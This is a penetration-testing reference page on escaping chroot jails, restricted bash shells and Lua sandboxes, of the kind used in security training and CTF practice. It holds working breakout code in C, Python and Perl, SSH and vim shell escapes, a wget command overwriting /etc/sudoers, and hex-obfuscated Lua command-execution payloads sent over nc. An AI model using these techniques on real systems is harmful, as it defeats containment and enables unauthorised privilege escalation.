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# Escaping from Jails ## **GTFOBins** **Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** ## Chroot limitation From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**. Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it: {% code title="break_chroot.c" %} ```c #include #include #include //gcc break_chroot.c -o break_chroot int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); } ``` {% endcode %} Using **python**: ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` Using **perl**: ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ``` ## Bash Jails ### Enumeration Get info about the jail: ```bash echo $SHELL echo $PATH env export pwd ``` ### Modify PATH Check if you can modify the PATH env variable ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` ### Using vim ```bash :set shell=/bin/sh :shell ``` ### Create script Check if you can create an executable file with _/bin/bash_ as content ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` ### Get bash from SSH If you are accessing via ssh you can use this trick to execute a bash shell: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` ### Declare ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` ### Wget You can overwrite for example sudoers file ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` ### Other tricks [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://gtfobins.github.io](https://gtfobins.github.io/**]\(https/gtfobins.github.io)\ **It could also be interesting the page:** {% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} ## Python Jails Tricks about escaping from python jails in the following page: {% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) {% endcontent-ref %} ## Lua Jails In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) **Eval** with command execution**:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` Some tricks to **call functions of a library without using dots**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` Enumerate functions of a library: ```bash for k,v in pairs(string) do print(k,v) end ``` Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky #the char function is going to be executed for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #This attack from a CTF can be used to try to chain the function execute from "os" library #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` **Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: ```bash debug.debug() ```

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